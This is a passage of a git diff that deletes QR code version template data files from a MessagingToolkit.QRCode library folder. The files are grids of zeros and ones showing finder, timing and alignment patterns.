-000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -110101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -111111100000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -100000100000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -101110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr29.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr29.dat deleted file mode 100644 index f42a10a..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr29.dat +++ /dev/null @@ -1,133 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001011101 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000010101011101 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000011001000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000000000000 -0000001000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1101111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1110101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1111111000000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr3.dat deleted file mode 100644 index 6052b4a..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr3.dat +++ /dev/null @@ -1,29 +0,0 @@ -11111110000000000000001111111 -10000010000000000000001000001 -10111010000000000000001011101 -10111010000000000000001011101 -10111010000000000000001011101 -10000010000000000000001000001 -11111110101010101010101111111 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000000000000 -00000000000000000000000000000 -00000010000000000000111110000 -00000000100000000000100010000 -11111110000000000000101010000 -10000010000000000000100010000 -10111010000000000000111110000 -10111010000000000000000000000 -10111010000000000000000000000 -10000010000000000000000000000 -11111110000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr30.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr30.dat deleted file mode 100644 index 5d76142..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr30.dat +++ /dev/null @@ -1,137 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -10111010000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000001101011101 -10000010000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000011001000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000000000000 -00000010000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 